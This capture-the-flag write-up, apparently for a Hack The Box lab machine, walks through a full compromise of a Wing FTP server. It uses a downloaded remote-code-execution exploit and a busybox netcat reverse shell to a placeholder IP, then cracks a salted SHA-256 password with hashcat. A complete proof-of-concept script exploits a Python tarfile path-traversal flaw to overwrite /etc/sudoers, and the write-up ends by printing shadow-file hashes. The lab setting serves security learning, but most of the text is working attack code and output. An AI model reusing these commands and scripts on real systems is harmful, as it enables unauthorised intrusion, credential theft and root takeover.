Enum

$ export IP=10.129.7.100
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
Open 10.129.7.100:22
Open 10.129.7.100:80
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL+8LZAmzRfTy+4t8PJxEvRWhPho8aZj9ImxRfWn9TKepkxh8pAF3WDu55pd/gaSUGIo9cuOvv+3r6w7IuCpqI4=
|   256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFFmcxflCAAe4LPgkg7hOxJen41bu6zaE/y08UnA4oRp
80/tcp open  http    syn-ack Apache httpd 2.4.66
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
$ echo "$IP wingdata.htb" | sudo tee -a /etc/hosts
10.129.7.100 wingdata.htb
  • Visit site
  • Links to ftp.wingdata.htb

  • Update /etc/hosts
$ echo "$IP wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts
10.129.7.100 wingdata.htb ftp.wingdata.htb
  • Visiting this endpoint reveals software

$ curl -O https://www.exploit-db.com/download/52347
 
$ python 52347 -u http://ftp.wingdata.htb/ -c "id"
 
[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'id' and username: 'anonymous'
[+] UID extracted: 7cdc00a9850928fd8574288295b658acf528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 7cdc00a9850928fd8574288295b658acf528764d624db129b32c21fbca0cb8d6
 
--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
----------------------
 
$ python 52347 -u http://ftp.wingdata.htb/ -c "cat /etc/passwd | grep bash"
 
[*] Testing target: http://ftp.wingdata.htb/
[+] Sending POST request to http://ftp.wingdata.htb//loginok.html with command: 'cat /etc/passwd | grep bash' and username: 'anonymous'
[+] UID extracted: 1f887a5b9f73ed92902ed07951ee4aecf528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb//dir.html with UID: 1f887a5b9f73ed92902ed07951ee4aecf528764d624db129b32c21fbca0cb8d6
 
--- Command Output ---
root:x:0:0:root:/root:/bin/bash
wingftp:x:1000:1000:WingFTP Daemon User,,,:/opt/wingftp:/bin/bash
wacky:x:1001:1001::/home/wacky:/bin/bash
----------------------
  • Successful RCE so let us get a revshell for easier enumeration
  • busybox payload worked well
  • Start listener
$ penelope -p 6969
  • Send payload
$ python 52347 -u http://ftp.wingdata.htb/ -c "busybox nc <YOUR_IP> 6969 -e /bin/bash"
  • Should catch shell
wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
 
wingftp@wingdata:/opt/wftpserver$ ls /home
wacky

User

  • WingFTP Password Docs HERE
  • Passwords are salted sha256 (Default salt = WingFTP)
  • We already know what user we are targeting wacky
  • WingFTP stores information under Data directory (in our case /opt/wftpserver/Data/1)
wingftp@wingdata:/opt/wftpserver$ ls -la
total 26504
drwxr-x---  9 wingftp wingftp     4096 Feb 16 06:35 .
drwxr-xr-x  4 root    root        4096 Feb  9 08:19 ..
drwxr-x---  4 wingftp wingftp     4096 Feb 16 06:35 Data
-rwxr-x---  1 wingftp wingftp     4834 Jul 31  2018 License.txt
drwxr-x---  5 wingftp wingftp     4096 Feb 16 16:17 Log
drwxr-x---  2 wingftp wingftp     4096 Feb  9 08:19 lua
-rw-r--r--  1 wingftp wingftp        5 Feb 16 06:35 pid-wftpserver.pid
-rwxr-x---  1 wingftp wingftp     1434 Sep 13  2020 README
drwxr-x---  2 wingftp wingftp     4096 Feb 16 17:00 session
drwxr-x---  2 wingftp wingftp     4096 Feb  9 08:19 session_admin
-rwxr-x---  1 wingftp wingftp   115258 Mar 26  2025 version.txt
drwxr-x--- 10 wingftp wingftp    12288 Feb  9 08:19 webadmin
drwxr-x--- 13 wingftp wingftp     4096 Feb  9 08:19 webclient
-rwxr-x---  1 wingftp wingftp  4649509 Sep 14  2021 wftpconsole
-rwxr-x---  1 wingftp wingftp     3272 Nov  2 11:11 wftp_default_ssh.key
-rwxr-x---  1 wingftp wingftp     1342 Nov 22  2017 wftp_default_ssl.crt
-rwxr-x---  1 wingftp wingftp     1675 Nov 22  2017 wftp_default_ssl.key
-rwxr-x---  1 wingftp wingftp 22283682 Mar 26  2025 wftpserver
 
wingftp@wingdata:/opt/wftpserver$ ls -la Data
total 40
drwxr-x--- 4 wingftp wingftp  4096 Feb 16 06:35 .
drwxr-x--- 9 wingftp wingftp  4096 Feb 16 06:35 ..
drwxr-x--- 4 wingftp wingftp  4096 Feb  9 08:19 1
drwxr-x--- 2 wingftp wingftp  4096 Feb 16 06:35 _ADMINISTRATOR
-rw------- 1 wingftp wingftp 11264 Nov  2 11:11 bookmark_db
-rwxr-x--- 1 wingftp wingftp  2554 Nov  2 16:23 settings.xml
-rwxr-x--- 1 wingftp wingftp   241 Nov  2 11:12 ssh_host_ecdsa_key
-rw-rw-rw- 1 wingftp wingftp  3272 Nov  2 11:52 ssh_host_key
 
wingftp@wingdata:/opt/wftpserver$ ls -la Data/1/
total 32
drwxr-x--- 4 wingftp wingftp  4096 Feb  9 08:19 .
drwxr-x--- 4 wingftp wingftp  4096 Feb 16 06:35 ..
drwxr-x--- 2 wingftp wingftp  4096 Feb  9 08:19 groups
-rwxr-x--- 1 wingftp wingftp   624 Nov  2 16:28 portlistener.xml
-rwxr-x--- 1 wingftp wingftp 11861 Nov  2 12:21 settings.xml
drwxr-x--- 2 wingftp wingftp  4096 Feb 16 17:00 users
  • Reading settings.xml we can confirm salt is default value
wingftp@wingdata:/opt/wftpserver$  cat /opt/wftpserver/Data/1/settings.xml | grep -i salt
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>
  • Can also read hashed passwords for users within their respective *.xml file
  • Really only care about wacky for this machine
wingftp@wingdata:/opt/wftpserver$ ls -la Data/1/users
total 28
drwxr-x--- 2 wingftp wingftp 4096 Feb 16 17:00 .
drwxr-x--- 4 wingftp wingftp 4096 Feb  9 08:19 ..
-rwxr-x--- 1 wingftp wingftp 2842 Feb 16 17:00 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2846 Nov  2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2847 Nov  2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2847 Nov  2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2856 Nov  2 12:28 wacky.xml
 
wingftp@wingdata:/opt/wftpserver$ cat Data/1/users/wacky.xml | grep -i password
	<EnablePassword>1</EnablePassword>
	<Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
	<PasswordLength>0</PasswordLength>
	<CanChangePassword>0</CanChangePassword>
  • Can now attempt cracking $hash:$salt format
$ hashcat -m 1410 '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' /usr/share/wordlists/rockyou.txt
 
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Wacky Credentials

wacky@wingdata.htb

!#7Blushing^*Bride5

  • Works on panel but doesn’t seem interesting

  • Attempting SSH we find successful authentication and user flag
$ sshpass -p '!#7Blushing^*Bride5' ssh -o StrictHostKeyChecking=no wacky@wingdata.htb
 
wacky@wingdata:~$ ls
user.txt

Root

  • Always check sudo privs
wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
  • Reading the script we find some attack vectors to investigate
$ wacky@wingdata:~$ cat /opt/backup_clients/restore_backup_clients.py

restore_backup_clients.py

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
 
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
 
def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"
 
def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
 
def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )
 
    args = parser.parse_args()
 
    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)
 
    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)
 
    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)
 
    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)
 
    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)
 
    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")
 
    os.makedirs(staging_dir, exist_ok=True)
 
    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)
 
if __name__ == "__main__":
    main()
  • Script basically creates and restores tar archives as sudo in our case
  • So our vulnerability probably lies in exactly that functionality
  • Searching online for python tarfile CVE we find CVE-2025-4517 PoC
  • Patched in python v3.13.4
wacky@wingdata:~$ python3 --version
Python 3.12.3
  • Vulnerable version indeed
  • PoC showcases bypassing path traversal checks and enabling arbitrary file write
  • We can attempt to do many tricks here but I will replace /etc/sudoers favoring simplicity
    • Could inject SSH authentication in root
    • Could overwrite cronjob to execute a cmd
    • Do what you want
  • Modifying the PoC is simple by replacing the required fields and removing unneeded functions
    • Needs to meet expected naming conventions and file paths mentioned in script above

root.py

import tarfile
import os
import io
import sys
 
comp = "d" * (55 if sys.platform == "darwin" else 247)
steps = "abcdefghijklmnop"
path = ""
 
with tarfile.open("/opt/backup_clients/backups/backup_6969.tar", mode="x") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    linkpath = os.path.join("/".join(steps), "l" * 254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = "../" * len(steps)
    tar.addfile(l)
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../etc"
    tar.addfile(e)
    f = tarfile.TarInfo("link")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"
    tar.addfile(f)
    content = b"ALL ALL=(ALL) NOPASSWD: ALL\n"
    c = tarfile.TarInfo("link")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))
  • Now run the script to generate evil /opt/backup_clients/backups/backup_6969.tar
  • Run sudo command using that new file providing expected arguments
  • Check if we get different output from sudo -l in any user
wacky@wingdata:~$ python3 root.py
 
wacky@wingdata:~$ ls /opt/backup_clients/backups
backup_6969.tar
 
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_6969.tar -r restore_sudoers
[+] Backup: backup_6969.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_sudoers
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_sudoers
 
wacky@wingdata:~$ sudo -l
User wacky may run the following commands on wingdata:
    (ALL) NOPASSWD: ALL
 
wingftp@wingdata:/opt/wftpserver$ sudo -l
User wingftp may run the following commands on wingdata:
    (ALL) NOPASSWD: ALL
  • We have successfully overwritten /etc/sudoers and can now jump into root shell easily
wacky@wingdata:~$ sudo su
root@wingdata:/home/wacky$ ls /root
root.txt
 
wingftp@wingdata:/opt/wftpserver$ sudo su
root@wingdata:/opt/wftpserver$ ls /root
root.txt
root:$y$j9T$o4QbpI9MXymg8tQSz73eq0$c1P1OfnBDpSlaHX8xmPTekraDfdl8gj5Xtghz.E5V3A:20394:0:99999:7:::
wingftp:$y$j9T$s62DxCZf.Aqw9qUCF7Fk10$BcBVlkDD7Rm3kpB.jyIWh9o0GvF.cmke6npe25ZnVv1:20394:0:99999:7:::
wacky:$y$j9T$kF5P9XjuPO85qZb/h5hff1$oiwH5i/tHgA4u2FBN/OJJtUO.UMzhfQckEycEPAdQM0:20395:0:99999:7:::